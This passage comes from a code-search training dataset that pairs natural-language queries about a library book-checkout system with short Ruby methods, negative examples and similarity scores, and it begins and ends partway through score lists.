"0.71874225",
"0.71434414",
"0.7088372",
"0.70500267",
"0.70134974",
"0.6971864",
"0.694846",
"0.6884953",
"0.6782223",
"0.6782223",
"0.66567093",
"0.66146207",
"0.6606853",
"0.6599217",
"0.6553294",
"0.64727634",
"0.64722437",
"0.6372811",
"0.63400584",
"0.63333625",
"0.63260585",
"0.63235843",
"0.62806934",
"0.62628853",
"0.6252257",
"0.6248936",
"0.6241838",
"0.62190765",
"0.62190765",
"0.62190765",
"0.61555564",
"0.61515576",
"0.61381507",
"0.61168486",
"0.6082951",
"0.6069608",
"0.603005",
"0.6021679",
"0.59930813",
"0.59670824",
"0.595559",
"0.5954087",
"0.5925472",
"0.592161",
"0.592161",
"0.59212327",
"0.5902307",
"0.588852",
"0.5879603",
"0.58455926",
"0.58440304",
"0.58172137",
"0.58067995",
"0.5804945",
"0.57948786",
"0.5768999",
"0.5767405",
"0.576702",
"0.576334",
"0.5752518",
"0.5751367",
"0.574906",
"0.5742725",
"0.574066",
"0.5723387",
"0.5720919",
"0.57124054",
"0.5701522",
"0.5687809",
"0.5680675",
"0.56435233",
"0.5621382",
"0.55984116",
"0.55835414",
"0.5577454",
"0.5576087",
"0.55680364",
"0.55604106",
"0.5556624",
"0.5553925",
"0.55345446",
"0.5532375",
"0.5521161",
"0.5517323",
"0.549471",
"0.54946476",
"0.5494232",
"0.54923385",
"0.5489632",
"0.54805803",
"0.5465833",
"0.54552794",
"0.54511917",
"0.545027",
"0.5447388",
"0.5446843"
] | 0.0 | -1 |
get borrower's checkedout books | def add_my_books(book)
@my_books << book.title
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def borrowed_books\n @books.each do |book|\n if book.status == \"checked out\"\n puts \"#{book.title} by #{book.author}: Checked out by #{book.borrower.name}.\"\n end\n end\n end",
"def currently_checked_out_books\n # Select all checkouts that are active (checked out) and returns array of titles (strings)\n self.checkouts.select {|check_outs| check_outs.checked_out == true}.map{|books| books.book.title}\n end",
"def borrowed_books\n @books.select { |book| book.status == 'checked_out' }\n end",
"def borrowed_books\n @books.each do |book|\n if book.status == \"checked out\" \n puts \"'#{book.title}' is checked out to #{book.borrower.name}\" \n end\n end\n end",
"def get_checked_out_books\n UserBook.get_books_by_user_id(get_user_books_by_status(\"Checked Out\"))\n end",
"def borrowed_books\n\t\tputs \"Borrowed Books:\"\n\t\t@book_status.each { |k, v| puts \"#{k}\" if v == \"checked_out\" }\n\tend",
"def borrowed_books\n @borrowed_books\n end",
"def borrowed_books\n @borrowed_books\n end",
"def borrowed_books\n @books.each do |book|\n if book.status == \"Checked out\"\n puts book.title + \" is currently checked out.\" \n puts \"Go talk to \" + book.borrower.name + \".\"\n end\n end\n end",
"def borrowed_books_list\n puts \"#{@name} has checked out:\"\n @books.each do |book|\n puts \" \\\"#{book.title}\\\"\"\n end\n end",
"def borrowed_books\n puts \"The following books have been checked out:\"\n @books.each do |book|\n if book.checked_out\n puts \" \\\"#{book.title}\\\" has been checked out by #{book.current_patron.name}.\"\n end\n end\n end",
"def borrowed_books\n @books.each do |book| \n if book.status == \"unavailable\"\n# book refers to an instance of the class \"book\". .title refers to the\n# \"getter\" method we created in class Book that retrieves the value of\n# instance variable, @title, which was passed a value from an instance of \n# the class Book.\n# .borrower refers to the \"getter/setter\" method(s) which retrieve and set\n# the value of @borrower is set in the check_out method (set to user)\n puts \"The book #{book.title} has been checked out by #{book.borrower.name}\"\n end\n end\n end",
"def get_books()\n @checked_books\n end",
"def borrowed_books_list\n @borrowed_books.each do |book|\n puts \"#{book.title} by #{book.author}\"\n end\n end",
"def borrowed_books_list\n @borrowed_books.each {|book| puts \"'#{book.title}' by #{book.author}\" }\n end",
"def borrow(book)\n\t\t@checked_out_books << book\n\tend",
"def get_books()\n @books_out\n end",
"def get_books()\n @books_out\n end",
"def available_books\n @books.each do |book|\n if book.status != \"Checked out\"\n puts book.title + \" is available to check out.\"\n end\n end\n end",
"def check_out_book(book_id, borrower)\n #Runs through each book in the library\n @books.each do |book|\n #If the book's id matches the id of the checkout id,\n #tries to check the book out\n if book.id == book_id && book.check_out(borrower)\n borrower.checked_out << book\n return book\n end\n end\n #If no match is found, returns nil\n return nil\n end",
"def list_checked_out\n @checked_out.each { |book| puts \"#{book.title} - #{book.author} : Due on #{book.due_date.ctime}\" }\n end",
"def available_books\n puts \"The following books are available for check out:\"\n @books.each do |book|\n if book.checked_out == false\n puts \" \\\"#{book.title}\\\"\"\n end\n end\n end",
"def check_out(borrower, book)\n if borrower.borrowed_books.size == 2\n puts \"Sorry, \" + borrower.name + \", you cannot check out any more books until you return one.\"\n elsif (book.status == \"Checked out\") \n puts \"Sorry, \" + borrower.name + \", that book is not available.\"\n else\n borrower.borrowed_books_count = borrower.borrowed_books_count + 1\n book.status = \"Checked out\"\n borrower.borrowed_books << book\n book.borrower = borrower\n puts borrower.name + \" has checked out \" + book.title + \".\"\n return borrower\n end\n end",
"def list_books\n @books.each do |book|\n if book.checked_out\n puts '\"' + book.title + '\" : checked out'\n else\n puts '\"' + book.title + '\" : avaiable'\n end\n end \n end",
"def borrowed_books_list\n @borrowed_books.each do |borrowed_books|\n puts borrowed_books.title\n end\n end",
"def available_books\n @books.each do |book|\n if book.status != \"checked out\"\n puts \"'#{book.title}' is currently available\"\n end\n end\n end",
"def check_in_book(book)\n borrower = book.check_in\n #Removes the book from the borrower's checked out array\n borrower.first.checked_out.delete(book)\n end",
"def books_per_user(user)\n user.books_checked_out.collect do |b|\n puts \"#{b.title} is due at #{b.due_date}.\"\n end\n end",
"def check_out(user, book)\n if user.borrowed_books.length == 2\n puts \"Sorry #{user.name}, you have already checked out two books.\"\n return \n end\n\n if book.status == \"available\"\n book.borrower = user\n user.borrowed_books.push(book)\n book.status = \"checked out\"\n puts \"#{user.name} checked out '#{book.title}' by #{book.author}.\"\n elsif book.status == \"checked out\"\n puts \"Sorry '#{book.title}' is checked out by another library member.\"\n else\n puts \"Sorry, that book is not available\"\n return \n end\n end",
"def borrow_books(*books)\n\t\tbooks.each do |book|\n\t\t\tif self.books.include?(book)\n\t\t\t\tputs \"#{self.name} has already checked this book out!\"\n\t\t\telse\n\t\t\t\tself.books << book\n\t\t\tend\n\t\tend\n\tend",
"def index\n @borrowed_books = BorrowedBook.all\n end",
"def index\n @borrowed_books = BorrowedBook.all\n end",
"def index\n @borrowed_books = BorrowedBook.all\n end",
"def odsa_books\n inst_books\n end",
"def get_unread_books(user_books, books)\n array_of_books = []\n user_books.each do |user_book|\n if user_book.times_read == 0\n array_of_books << books.find { |b| b.id == user_book.book_id }\n end\n end\n array_of_books\n end",
"def check_in(book)\n book.status = \"available\"\n book.borrower.borrowed_books.delete(book.borrower.borrowed_books[book])\n end",
"def available_books\n @books.select { |book| book.status == 'available' }\n end",
"def get_current_books\n user = User.find_by_id(params[:user_id])\n shelves = user.bookshelves\n \n @books = Array.new\n \n shelves.each do |s|\n s.shelfitems.each do |shelf|\n if shelf.finished == false\n @books << shelf.book\n end\n end\n end\n \n render json: @books\n end",
"def check_out(user, book)\n# .borrowerd_books refers to the \"getter/setter\" methods defined in the Borrower class which enables\n# us to retrieve the books in the @borrowed_books array and add new ones as well. .length checks the\n# length of the the @borrowered_books array.\n if user.borrowed_books.length >= 2\n#\n puts \"Sorry, the user is only able to check out two books.\"\n return\n end\n# .status refers to the \"getter/setter\" method that retrieves and sets the instance variable @status. \n if book.status == \"available\"\n user.borrowed_books << book\n book.status = \"unavailable\"\n book.borrower = user\n else\n puts \"Sorry, that book is unavailable.\"\n end\n end",
"def check_out(book)\n puts \"#{self.get_name} does not have a library card\" unless @library.members.member?(self.get_name)\n\n if @books_out.length < BOOK_LIMIT\n books_out << book\n end\n\n end",
"def users\n #book_a.users\n #returns all the users that checked out this book\n\n checkout_array = Checkout.all.select {|checkout| checkout.book == self}\n checkout_array.map {|checkout| checkout.user}\n end",
"def available_books\n\t\tputs \"Available Books:\"\n\t\t@book_status.each { |k, v| puts \"#{k}\" if v == \"available\" }\n\tend",
"def\n check_out(book)\n\n puts \"#{self.get_name} does not have a library card\" unless @library.members.member?(self.get_name)\n\n if @books_out.length < BOOK_LIMIT\n books_out << book\n end\n\n end",
"def show_books_checked_by_patron(selected)\n\tp = Patron.find_by_id(selected).books\n\tif p == []\n\t\tputs \"\\nNo books currently checked out to #{Patron.find_by_id(selected).name}\\n\"\n\telse\n\t\tputs \"\\n\"\n\t\tp.each do |book|\n\t\t\tputs \"#{Patron.find_by_id(selected).name} currently has #{book.title} checked out.\"\n\t\tend\n\tend\nend",
"def check_out(user, book)\n if user.borrowed_books_count == 2\n puts \"Sorry, that user already has two books checked out.\"\n elsif book.status == \"checked out\"\n puts \"Sorry, that book in not available.\"\n else\n book.borrower = user\n user.borrowed_books.push(book)\n book.status = \"checked out\"\n puts \"#{user.name} has now checked out #{book.title} by #{book.author}.\"\n end\n end",
"def books \n @books\n end",
"def unsorted_books(user)\n user.books - user.shelves.collect{ |shelf| shelf.books }.flatten.uniq\n end",
"def available\n @books = Book.all\n end",
"def books\n self.book_authors.map {|book_author| book_author.book}\n end",
"def available_books\n @books.each do |book|\n if book.status == \"available\"\n puts \"#{book.title} by #{book.author} is available.\"\n end\n end\n end",
"def check_out_book(book_title, time, books,customer)\n\n books.each do |book|\n if book.title == book_title\n if !book.checkedout\n book.checkout(customer, Date.today + time)\n puts \"#{book_title} is now checked out to #{customer.name}\".colorize(:green)\n return books\n else\n puts \"#{book_title} is already checked out!\".colorize(:red)\n return books\n end\n end\n end\n puts \"Book not found\".colorize(:red)\n return books\nend",
"def book\n fetch('harry_potter.books')\n end",
"def getAllBooks()\n puts \"\\nBOOKS:\"\n puts \"-------------------------------------------------\"\n @books.each {|book| puts \"ID: \" + book.id.to_s +\n \", Name: \" + book.title +\n \", Author: \" + book.author +\n \", Publication: \" + book.publication +\n \", Year: \" + book.year.to_s +\n \", Rack No.: \" + book.rack_no .to_s+\n \", Total Copies: \" + book.total_copies.to_s +\n \", Copies Available: \" + book.copies_available.to_s\n }\n puts \"-------------------------------------------------\"\n end",
"def books\n @books ||= current_user.books\n end",
"def check_out(user, book)\n if user.books.length == 2\n puts \"This library patron already has two books checked out!\"\n return\n end\n if book.checked_out == false\n book.checked_out = true\n book.current_patron = user\n user.books << book\n puts \"Library patron #{user.name} has checked out \\\"#{book.title}.\\\"\"\n else\n puts \"Sorry, this books has already been checked out.\"\n end\n end",
"def returnbook\n @books = Book.all \n end",
"def check_in\n @status = 'available'\n return @borrower\n @borrower = []\n end",
"def get_borrower(book_id)\n #Runs through all books in the library and finds the one\n #that matches the id, then looks at the borrower\n #Currently no error protection if the book isn't borrowed\n @books.each do |book|\n return book.borrower.first.name if book.id == book_id\n end\n end",
"def check_in(book)\n if book.status == \"checked out\"\n puts \"'#{book.title}' has been checked back in by #{book.borrower.name}\" \n book.status = \"available\"\n book.borrower.borrowed_books.delete(book)\n else\n puts \"'#{book.title}' is already checked in.\"\n end\n end",
"def books\n result = []\n if @filename2books\n @filename2books.each do |_filename,books|\n next if books.empty?\n\n books.each do |wr_book|\n result << wr_book.__getobj__ if wr_book.weakref_alive?\n end\n end\n end\n result\n end",
"def list_books\n @books.each { |book| puts \"#{book.title} - #{book.author} : #{book.status}\"}\n end",
"def get_books author\n books = @books[author]\n if books == nil\n puts \"No such author\"\n else\n puts books.join ', '\n end\n end",
"def check_out(book,user)\n\t\tif user.book_count > 2\n\t\t\tputs \"Sorry! You can't check out any more books.\"\n\t\telsif user.checked_out_books.any? { |book| book.overdue? == true}\n\t\t\tputs \"Sorry! You have an overdue book.\"\n\t\telsif book.status == \"available\" \n\t\t\tbook.due_date = Time.now + (7*24*3600)\n user.checked_out_books << book\n\t\t\tuser.borrow(book)\n book.status = \"checked out\"\n\t\t\tputs \"You have checked out #{book.title}.\"\n\t\telse \n\t\t\tputs \"#{book.title} is checked out. Please check back soon.\"\n\t\tend\n\tend",
"def overdue_books\n borrowed_books.each do |book|\n puts \"#{book.title} was due on #{book.due_date.strftime(\"%B %d, %Y\")}.}\" if book.check_overdue(book.borrower.first)\n end\n end",
"def which_out?\n\t\t@books.each do |book|\n\t\t\tputs book.title if book.checked_out\n\t\tend\n\tend",
"def return_book(title)\n # find book instance by title\n searched_book = Book.find_by(title: title)\n # change book.available to true\n searched_book.update_column(:available, true)\n # checks to see if title is in checkouts and .checked_out == true then changes checkout.checked_out to false\n self.checkouts.find{|checkout| checkout.book.title == title && checkout.checked_out == true}.update_column(:checked_out, false)\n end",
"def check_out(book, user)\n user.overdue_update\n\n # Check the number of books a user has checked out\n if user.checked_out_books.length >= 2\n puts \"You have too many books checked out. You must return at least one book before you can check out another book.\"\n\n # Check if the user has overdue books\n elsif user.overdue_books.any? \n puts \"You have overdue books! No new books for you! Return your overdue books to be allowed to check out new books.\"\n \n # Check out the book\n elsif book.status == \"available\"\n book.status = \"checked out\"\n user.checked_out_books << book\n book.check_out_date = Time.now\n book.due_date = book.check_out_date + ((60*60*24)*7)\n @checked_out << book\n book.who_checked = user.name\n puts \"#{book.title} has been checked out by #{book.who_checked}. Enjoy!\"\n \n else\n puts \"You have discovered a problem with the check_out method! Sorry!\"\n end\n end",
"def reviewed_books\n self.reviews.map{|r| r.book}\n end",
"def list_books\n @books.each do |book|\n puts \"#{book.title} by #{book.author}: #{book.status}\"\n end\n end",
"def get_book_info(book)\n if book.status = available\n\t\t puts \"#{book.title} is currently available\"\n else \n puts \"#{book.title} is currently checked out by #{user.checked_out_books} and is due in #{due_date} seconds\"\n\t end\n end",
"def borrowed_books_count\n @borrowed_books_count\n end",
"def book_list\n\t\tputs \"Here are the books in our library:\"\n\t\t@books.each { |book| puts \"#{book.name}\" }\n\tend",
"def check_out(*book_ids) # 1..n book_ids\n if not @open\n raise Exception, \"The library is not open.\", caller\n elsif not @current_member\n raise Exception, \"No member is currently being served.\", caller\n elsif book_ids.empty?\n raise Exception, \"Please specifiy at least one book ID.\", caller\n elsif @members[\"#{@current_member}\"].get_books.count > 3\n \"#{@current_member} has checked out the max number of books.\"\n else\n total = 0\n # lookup the books, check they exist and aren't already checked out \n book_ids.each do |v|\n @books.select { |k,book| \n book.get_due_date() == nil && book.get_id() == v.to_i \n }.to_a.each do |k,book| \n if @members[\"#{@current_member}\"].check_out(book)\n book.check_out(@cal.get_date + 7)\n total = total + 1\n end\n end\n end\n if total > 0\n \"#{total.to_s} books have been checked out to #{@current_member}.\"\n else\n \"No books found.\"\n end\n end\n end",
"def return_book(book_to_return)\n book_to_return.check_in\n # array_count = 0\n @books_rented.each do |book|\n if book = book_to_return\n # @books_rented.delete_at(array_count)\n @books_rented = @books_rented - [book_to_return]\n else\n # array_count += 1\n end\n end\n end",
"def show\n curr_user = Member.find_by(email: session[:user_id])\n if (curr_user && curr_user.id.to_s == params[:id]) || session[:is_admin?]\n @member = Member.find(params[:id])\n checkout_list = History.where(member_email: @member.email, status: \"Checkedout\")\n @book_list = []\n book_id_list = checkout_list.map { |x| x[:book_id] }\n book_id_list.each do |id|\n @book_list << id\n end\n else\n flash[:notice] = \"No Monkey Business!\"\n redirect_to '/books' \n end\n end",
"def borrow\n # This instance method is how a book is taken out of the library. Otherwise, use current_due_date to set the due_date of the book and move it from the collection of available books to the collection of books on loan, then return true.\n # This method should use lent_out? to check if the book is already on loan,\n if self.lent_out? == false\n @@due_date = Book.current_due_date\n @@on_shelf.delete(self)\n @@on_loan << self\n return true\n else\n return false\n end\n\n end",
"def list_books\n @books.each do |books|\n puts books.title + \" is currently \" + books.status + \".\"\n end\n end",
"def find_overdue_books\n raise 'The library is not open!' unless @open\n raise 'No member is currently being served' unless @serve\n current_date = calendar.get_date\n\n book_list = @serve.get_books\n book_list.each_index do |n|\n if current_date > book_list[n].get_due_date\n puts \"#{@serve.get_name} #{book_list[n].to_s} \"\n else\n puts 'None'\n end\n end\n end",
"def checkout(b)\n\t\t@books.each do |book|\n\t\tbook.checked_out = true if book.title == b\n\tend\nend",
"def checked_out_books\n @user_id = params[:user_id]\n if @user_id == 'admin'\n @record = BookIssueTransaction.where('status = ?', '4')\n else\n @record = BookIssueTransaction.where('status = ? and libraries_id = ?', '4', @user_id)\n end\n end",
"def all_bookings\n Booking.none\n end",
"def borrow(book_id, user_id)\r\n @@books.each do |book|\r\n @@users.each do |user|\r\n if book.bookID == book_id && user.userID == user_id\r\n if book.status == \"available\"\r\n book.borrower = (user.fname+\" \"+user.lname)\r\n book.status = \"borrowed\"\r\n user.bookBorrowed = book.title\r\n puts(\"\\nFollowing user has borrowed the following book: \")\r\n puts(\"User : #{user.inspect}\")\r\n puts(\"Book : #{book.inspect}\")\r\n else\r\n puts \"\\nSorry! the selected book #{book.bookID} is currently not available and cannot be lend to #{user.userID}; \\nbecause it is borrowed by user : #{book.borrower}\" end\r\n end\r\n end\r\n end\r\n end",
"def list_books\n @books.each {|book| puts \"'#{book.title}' is #{book.status}.\" }\n end",
"def all_books\n\t\t\t@books = Book.all\n\t\tend",
"def book_count()\n\t\t@checked_out_books.length\n\tend",
"def user_books\n @reservations = Reservation.get_reservations(current_user.id)\n end",
"def user_book_ids\n self.books.uniq.collect do |book|\n book.id\n end\n end",
"def check_out(borrower_obj)\n overdue = check_overdue(borrower_obj)\n cur_date = Time.new\n #Only check out a book if it is available,\n #the borrower doesn't have 2 already checked out\n #and does not have any over due books, and\n #there is no one on the waitlist or the person trying\n #to check out the book is the next person on the waitlist\n if (@status == 'available' && borrower_obj.checked_out.length < 2 && !overdue && (@waitlist.length == 0 || @waitlist.first.name == borrower_obj.name))\n @status = 'checked_out'\n #Adds the borrower to the book borrower array\n #Might be able to go with = and remove all of the .firsts\n @borrower << borrower_obj\n #Sets the due date as time checked out + 7 days\n @due_date = Time.now + 604800\n #Removes the person from the waitlist if they're on it\n @waitlist.shift if @waitlist.length > 0\n #Tells the calling method the book was checked out\n return true\n else\n #Adds the borrower to the waitlist\n @waitlist << borrower_obj\n #Tells the calling method the book was not checked out\n return false\n end\n end",
"def borrowable_items\n# items.where(\"borrower_id = 0\")\n Item.all.where(\"borrower_id = 0 and lender_id != :owner\", {owner: self.id})\n end",
"def check_in(book, user)\n # Check if book is already checked out\n if book.status == \"checked out\" || book.status == \"overdue\"\n book.status = \"available\"\n\n # Remove from user's checked out book array\n user.checked_out_books.delete_if { |e| e == book }\n user.overdue_books.delete_if {|e| e == book }\n \n # Reset the check out and due dates to nothing\n book.check_out_date = nil\n book.due_date = nil\n \n # Remove from the library's checked out and overdue arrays.\n @checked_out.delete_if { |e| e == book }\n @overdue.delete_if { |e| e == book }\n\n # Remove the user who checked out the book\n book.who_checked = nil\n \n # Error message for book that is not checked out.\n elsif book.status == \"available\"\n puts \"This book is not checked out\"\n \n # Allows lost books to be returned.\n elsif book.status == \"lost\"\n book.status = \"available\"\n puts \"Thanks for bringing #{book.title} back!\"\n \n # Malformed input or malfunctioning method error message.\n else\n puts \"There is something wrong with the book you've tried to check out. This is an error message. Sorry.\"\n end\n end",
"def list_books\n puts \"\"\n puts \"Current Catalogue:\"\n puts \"\"\n puts \"A-G:\"\n \t@shelf_ag.to_s\n \tputs \"H-P:\"\n \t@shelf_hp.to_s\n \tputs \"Q-Z:\"\n \t@shelf_qz.to_s\n end",
"def check_out(*book_ids) # = 1..n book ids\n\n raise 'The library is not open!' unless @open\n\n if @serve == nil\n raise 'No member is currently being served.'\n else\n\n count = 0\n\n book_ids.each_index do |i|\n\n y = book_ids.at(i)\n\n books_available.each_index do |n|\n\n book1 = @books_available.at(n)\n x = book1.get_id\n\n if x == y\n ddate = book1.get_due_date\n book1.check_out(ddate)\n @serve.check_out(book1)\n @books_available.delete_at(n)\n count = count + 1\n end\n\n end\n\n if count == 0\n puts \"The library does not have book #{y}.\"\n else\n puts \"#{count} books have been checked out to #{@serve.get_name}.\"\n end\n\n end\n\n end\n\n end",
"def list\n @books = Book.all\n end",
"def my_books\n @books = current_user.books\n end",
"def check_out(book, due_date)\n @borrowed_books[book.title.to_sym] = book\n max_borrowed = true if @borrowed_books.length >= 2\n\n time_table[book.title.to_sym] = due_date\n\n end",
"def index\n @stuk_books = StukBook.available\n end",
"def check_out_book\n\tselect = make_selection.to_i\n\tselect = verify_book_exists(select)\n\tb = Book.find(select)\n\tif b.patron_id.nil?\n\t\tputs \"\\nPlease select patron that would like to check out book\\n\"\n\t\tshow_all_patrons\n\t\tselect = make_selection.to_i\n\t\tselect = verify_patron_exists(select)\n\t\tb.update_attributes(patron_id: select)\n\telse\n\t\tputs \"\\nThis book is already checked out\\n\"\n\tend\nend",
"def rent_book(book)\n if book.is_free?\n book.check_out\n books_rented.push(book)\n end\n\n end",
"def return_books(books, user)\n\t\tif @users.include? user then\t\t\t\n\t\t\t(@records.select {|record| !record.has_return && record.user_id.eql?(user.id)}).each do |record|\n\t\t\t\tbooks.uniq.each do |book|\n\t\t\t\t\tif book.isbn == record.book_isbn then\n\t\t\t\t\t\tinventory[book] += 1\n\t\t\t\t\t\trecord.has_return = true\n\t\t\t\t\t\tputs \"Successfully return <#{book.title}> to the library\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tcheck_records(user)\n\t\tend\n\tend",
"def book_due_dates\n borrowed_books.each { |book| puts \"#{book.title} checked out by #{book.borrower.first.name}. Due date: #{book.due_date.strftime(\"%B %d, %Y\")}.\"}\n end",
"def display_book(selected)\n\tb = Book.find(selected)\n\tputs \"\\n#{b.title} written by #{b.author} ISBN #{b.isbn}\"\n\tif b.patron_id.nil?\n\t\tputs \"#{b.title} is available at #{Library.find_by_id(b.library_id).branch_name}\"\n\telse \n\t\tputs \"#{Patron.find_by_id(b.patron_id).name} currently has this book checked out\"\n\tend\nend"
] | [
"0.80825424",
"0.8031436",
"0.8022487",
"0.7895307",
"0.787718",
"0.78391045",
"0.78195703",
"0.78195703",
"0.77343357",
"0.7701199",
"0.7679688",
"0.74925995",
"0.7437474",
"0.741272",
"0.7409224",
"0.7364294",
"0.7230866",
"0.7230866",
"0.71825236",
"0.7146887",
"0.7138314",
"0.7091791",
"0.70686173",
"0.7041224",
"0.7028035",
"0.6962355",
"0.6805447",
"0.6781146",
"0.67448276",
"0.67251796",
"0.6704545",
"0.6704545",
"0.6704545",
"0.66700816",
"0.6650185",
"0.6637683",
"0.66371274",
"0.66008663",
"0.6594578",
"0.65944225",
"0.6579455",
"0.65492016",
"0.653947",
"0.65384984",
"0.6515702",
"0.64682776",
"0.6467199",
"0.64592355",
"0.6441981",
"0.6413995",
"0.63751453",
"0.635683",
"0.6354974",
"0.6345353",
"0.63408685",
"0.63026065",
"0.6255078",
"0.624782",
"0.6242753",
"0.62119246",
"0.62078166",
"0.6207603",
"0.6195277",
"0.61778504",
"0.6175526",
"0.61657184",
"0.6147662",
"0.6144391",
"0.6128399",
"0.61044836",
"0.6102896",
"0.6092497",
"0.6077423",
"0.6073911",
"0.60729456",
"0.606936",
"0.6065809",
"0.60571504",
"0.6051768",
"0.60269594",
"0.6026832",
"0.60212076",
"0.6014384",
"0.6013985",
"0.60071415",
"0.6006664",
"0.6002435",
"0.60004765",
"0.59955895",
"0.5961866",
"0.59400076",
"0.59394747",
"0.59212744",
"0.59125346",
"0.5910658",
"0.5906053",
"0.58956105",
"0.58928156",
"0.5885815",
"0.58801955",
"0.58776903"
] | 0.0 | -1 |
get book's current status | def get_status
status
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def status(book)\n\t\tif book.status == \"available\"\n\t\t\tputs \"#{book.title} is not checked out.\"\n\t\telse\n\t\t\tputs \"#{book.title} is checked out. Please try again later.\"\t\t\n\t\tend \n\tend",
"def get_book_info(book)\n if book.status = available\n\t\t puts \"#{book.title} is currently available\"\n else \n puts \"#{book.title} is currently checked out by #{user.checked_out_books} and is due in #{due_date} seconds\"\n\t end\n end",
"def status\n STATUSES[self.status_id]\n end",
"def get_status\n fetch_status unless status == :completed\n status\n end",
"def get_status\n fetch_status unless status == :completed\n status\n end",
"def status\n STATUSES[self.status_id || 0]\n end",
"def status\n @status\n end",
"def status\n @status\n end",
"def status\n @status\n end",
"def status\n @status\n end",
"def getStatus\n @status\n end",
"def get_status\n return @m_status\n end",
"def getStatus\n @@statuses[@status]\n end",
"def get_status_message\n message = \"\"\n\n # if book is checked out and returned\n if (!self[:start].nil? && !self[:end].nil?)\n return message.concat(\"Returned on \").concat(self[:end].to_date.strftime(\"%b-%d-%Y\"))\n end\n\n # if book is checked out\n if (!self[:start].nil? && self[:end].nil?)\n return message.concat(\"Checked out on \")\n .concat(self[:start].to_date.strftime(\"%b-%d-%Y\"))\n .concat(\" - Return Date: \")\n .concat(self.book_return_date)\n end\n\n # if book is pending special approval\n if (self[:special_approval])\n return message.concat(\"Waiting Librarian approval for checkout\")\n end\n\n # if book is set on hold\n if (!self[:hold].nil?)\n return message.concat(\"Book on hold\")\n end\n end",
"def status\n\t\treturn @status\n\tend",
"def getStatus\r\n\t\t\t\t\treturn @status\r\n\t\t\t\tend",
"def status\n instance_get(:status)\n end",
"def status\n Status.find(self.status_id).name\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n @__status\n end",
"def status\n info['status']\n end",
"def current_status\n status ? 'Active' : 'Inactive'\n end",
"def retrieve_status\n \n end",
"def status_object\n @status\n end",
"def status\n info[\"Status\"]\n end",
"def current_status\n Status.find_by(layer_id: id, latest: true).status\n end",
"def do_status\n return pretty_status(current_status)\n end",
"def status\n @status ||= STATUS[mapping_for(:status)]\n end",
"def status\n @status ||= STATUS[mapping_for(:status)]\n end",
"def status\n @attributes[:status]\n end",
"def status\n @attributes[:status]\n end",
"def status\n @attributes[:status]\n end",
"def status\n @attributes[:status]\n end",
"def status\n value_for('status')\n end",
"def status\n @object.status\n end",
"def status\n get_json('status.json')\n end",
"def status\n unless source.nil? or source.empty?\n refresh_status\n else\n self.description = \"Status is currently unavailable\"\n end\n self.description.first\n end",
"def status\n @parcel.status\nend",
"def good\n @status\n end",
"def status\n data[:status]\n end",
"def current_order_status\n\tmost_recent_order_statuses = order_statuses.order(:updated_at).last(2)\n\tcurrent_order_status = most_recent_order_statuses[0]\n end",
"def state\n status[\"state\"]\n end",
"def status\n request :get, \"_status\"\n end",
"def status\n instance.status\n end",
"def status\n data.status\n end",
"def list_books\n @books.each do |books|\n puts books.title + \" is currently \" + books.status + \".\"\n end\n end",
"def status\n @status ||= RecipeStatus.find status_id\n end",
"def status\n branch&.status\n end",
"def available_books\n @books.each do |book|\n if book.status != \"checked out\"\n puts \"'#{book.title}' is currently available\"\n end\n end\n end",
"def status\n end",
"def status\n end",
"def status\n end",
"def status\n end",
"def status\n if closed?\n return \"closed\"\n elsif submitted?\n return retrieved? ? \"retrieved\" : \"submitted\"\n else\n \"new\"\n end\n end",
"def status\n\t\treturn \"Pending\" if !completed\n\t\t\"Completed\"\n\tend",
"def status\n inspect\n end",
"def status\n \"#{@description} #{@status}\"\n end",
"def status\n fetch(@config[:finance_path], 'Finance.getStatus')\n end",
"def status\n @content[0]\n end",
"def status\n first_element_text('status')\n end",
"def status()\n puts @status\n end",
"def booking_status\n 'Confirmed'\n end",
"def status\n if complete?\n \"PAID\"\n else\n \"PENDING\"\n end\n end",
"def status_for(exam)\n if exam.last_report\n exam.last_report.status\n else\n \"Ordered\"\n end\n end",
"def status_info\n current_path = '/api/v1/status'\n @conn.get(current_path)\n end",
"def getStatus\n fetch(@config[:finance_path], 'Finance.getStatus')\n end",
"def status\n o = @api.status\n OpenStruct.new o\n end",
"def last_status; end",
"def statuses; end",
"def list_status\n if self.available_on.nil?\n nil\n elsif self.tba?\n 'TBA'\n elsif self.upcoming?\n 'Upcoming'\n elsif self.new?\n 'New'\n elsif self.recent?\n 'Recent'\n elsif self.backlist?\n 'Backlist'\n else\n nil\n end\n end",
"def get_status\n @connection.get(\"/\").body\n end",
"def status_name\n STATUS[self.status_id][0]\n end",
"def status\n @wrapper.status\n end",
"def status\n @browser.span(:css => field_cell_css(:name) + \" .status\").when_present.text\n end",
"def status\n service.get(\"\")\n end",
"def current_status\n return status if [:finished, :failed].include? status\n if address&.start_with?(\"0x\")\n state = HacksContract::Hackathon.new(address).state\n s = case state\n when 0\n :preparation\n when 1\n :crow_funding\n when 2\n :apply_participation\n when 3\n :gaming\n when 4\n :voting\n when 5\n :finished\n else\n :failed\n end\n else\n current = Time.now\n s = if current < crow_funding_start_at\n :preparation\n elsif current < apply_start_at\n :crow_funding\n elsif current < game_start_at\n :apply_participation\n elsif current < vote_start_at\n :gaming\n elsif current < finished_at\n :voting\n else\n :finished\n end\n end\n\n if s != status\n update_column(:status, s)\n end\n s\n end",
"def list_books\n @books.each {|book| puts \"'#{book.title}' is #{book.status}.\" }\n end"
] | [
"0.7583656",
"0.75706863",
"0.7349699",
"0.7275047",
"0.7275047",
"0.7203799",
"0.71825325",
"0.71825325",
"0.7171333",
"0.7171333",
"0.7136064",
"0.7127748",
"0.7112571",
"0.7110476",
"0.7088622",
"0.7071286",
"0.706601",
"0.7026579",
"0.6983958",
"0.6983745",
"0.6983745",
"0.6983745",
"0.6983745",
